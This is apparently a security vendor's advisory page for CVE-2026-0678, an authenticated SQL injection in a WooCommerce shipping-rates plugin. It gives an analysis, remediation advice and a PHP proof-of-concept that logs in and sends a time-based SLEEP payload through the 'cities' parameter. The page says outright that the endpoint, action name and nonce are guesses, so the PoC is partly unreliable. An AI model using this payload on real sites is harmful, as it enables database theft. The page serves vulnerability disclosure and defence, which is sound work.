Atomic Edge Proof of Concept automated generator using AI diff analysis
Published : March 18, 2026

CVE-2026-0678: Shipping Rates by City for WooCommerce <= 1.0.3 – Authenticated (Shop Manager+) SQL Injection via 'cities' Parameter (flat-shipping-rate-by-city-for-woocommerce)

CVE ID CVE-2026-0678
Severity Medium (CVSS 4.9)
CWE 89
Vulnerable Version 1.0.3
Patched Version
Disclosed January 12, 2026

Analysis Overview

Atomic Edge analysis of CVE-2026-0678 (metadata-based):
This vulnerability is an authenticated SQL injection in the Flat Shipping Rate by City for WooCommerce WordPress plugin, affecting versions up to and including 1.0.3. The flaw resides in the handling of the ‘cities’ parameter, allowing attackers with Shop Manager or higher privileges to execute time-based blind SQL injection attacks. The CVSS score of 4.9 reflects the high confidentiality impact (C:H) tempered by the high privilege requirement (PR:H) and no impact to integrity or availability.

Atomic Edge research identifies the root cause as CWE-89: Improper Neutralization of Special Elements used in an SQL Command. The vulnerability description explicitly states insufficient escaping on user-supplied parameters and lack of sufficient query preparation. This indicates the plugin likely constructs SQL queries via string concatenation with user-controlled input, bypassing WordPress’s `$wpdb->prepare()` method. These conclusions are inferred from the CWE classification and public description, as no source code diff is available for confirmation.

Exploitation requires an authenticated session with Shop Manager privileges or higher. Attackers would target the plugin’s administrative interface, likely an AJAX handler or admin page processing the ‘cities’ parameter. A typical payload would append a time-delay subquery like `’ OR SLEEP(5)– -` to the vulnerable parameter. The time-based nature suggests boolean inference techniques extract data character-by-character through conditional delays. The exact endpoint is unspecified, but WordPress plugin patterns suggest either `/wp-admin/admin-ajax.php` with a plugin-specific action or a custom admin page under WooCommerce settings.

Remediation requires implementing proper input validation and parameterized queries. The plugin should replace direct variable interpolation in SQL statements with prepared statements using `$wpdb->prepare()`. All user-supplied data must be validated against an allowlist of expected values (city names) or at minimum escaped with `esc_sql()`. WordPress capability checks should remain, but SQL injection prevention must not rely solely on authentication.

Successful exploitation enables complete database compromise within the attacker’s privilege scope. Attackers can extract sensitive information including WooCommerce customer data, order details, payment records, and WordPress user credentials. While the vulnerability requires Shop Manager access, compromised accounts at this level already have significant privileges. The injection could potentially escalate to full database control if the database user has elevated permissions, though this depends on WordPress configuration.

Differential between vulnerable and patched code

Proof of Concept (PHP)

NOTICE :

This proof-of-concept is provided for educational and authorized security research purposes only.

You may not use this code against any system, application, or network without explicit prior authorization from the system owner.

Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.

This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.

By accessing or using this information, you acknowledge that you are solely responsible for your actions and compliance with applicable laws.

 
PHP PoC
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept (metadata-based)
// CVE-2026-0678 - Shipping Rates by City for WooCommerce <= 1.0.3 - Authenticated (Shop Manager+) SQL Injection via 'cities' Parameter
<?php

$target_url = 'https://example.com';
$username = 'shop_manager';
$password = 'password';

// Assumptions based on WordPress plugin patterns:
// 1. The vulnerability exists in an AJAX handler or admin POST endpoint
// 2. The 'cities' parameter is processed via POST
// 3. The endpoint requires WordPress authentication and nonce
// 4. Shop Manager role has 'manage_woocommerce' capability

function login_wordpress($url, $user, $pass) {
    $ch = curl_init($url . '/wp-login.php');
    curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
    curl_setopt($ch, CURLOPT_POST, true);
    curl_setopt($ch, CURLOPT_POSTFIELDS, [
        'log' => $user,
        'pwd' => $pass,
        'wp-submit' => 'Log In',
        'redirect_to' => $url . '/wp-admin/',
        'testcookie' => '1'
    ]);
    curl_setopt($ch, CURLOPT_COOKIEJAR, 'cookies.txt');
    curl_setopt($ch, CURLOPT_COOKIEFILE, 'cookies.txt');
    curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
    $response = curl_exec($ch);
    curl_close($ch);
    return strpos($response, 'Dashboard') !== false;
}

function extract_nonce($url, $cookies) {
    // In a real scenario, we would parse the admin page for the plugin's nonce
    // This is a placeholder demonstrating the concept
    return 'abc123def456';
}

function test_sqli($url, $nonce) {
    $ch = curl_init($url . '/wp-admin/admin-ajax.php');
    curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
    curl_setopt($ch, CURLOPT_POST, true);
    
    // Assumed AJAX action based on plugin slug pattern
    $post_data = [
        'action' => 'flat_shipping_rate_by_city_action',
        'cities' => "1' OR SLEEP(5)-- -",
        'nonce' => $nonce
    ];
    
    curl_setopt($ch, CURLOPT_POSTFIELDS, $post_data);
    curl_setopt($ch, CURLOPT_COOKIEFILE, 'cookies.txt');
    
    $start = microtime(true);
    $response = curl_exec($ch);
    $end = microtime(true);
    curl_close($ch);
    
    $duration = $end - $start;
    return $duration > 5;
}

// Main execution
if (login_wordpress($target_url, $username, $password)) {
    echo "[+] Authentication successfuln";
    
    $nonce = extract_nonce($target_url, 'cookies.txt');
    echo "[+] Extracted nonce: $noncen";
    
    if (test_sqli($target_url, $nonce)) {
        echo "[+] Time-based SQL injection confirmed (5+ second delay)n";
        echo "[+] CVE-2026-0678 is exploitablen";
    } else {
        echo "[-] No time delay detectedn";
        echo "[-] Endpoint or parameters may differ from assumptionsn";
    }
} else {
    echo "[-] Authentication failedn";
}

?>

Frequently Asked Questions

How Atomic Edge Works

Simple Setup. Powerful Security.

Atomic Edge acts as a security layer between your website & the internet. Our AI inspection and analysis engine auto blocks threats before traditional firewall services can inspect, research and build archaic regex filters.

Get Started

Trusted by Developers & Organizations

Trusted by Developers
Blac&kMcDonaldCovenant House TorontoAlzheimer Society CanadaUniversity of TorontoHarvard Medical School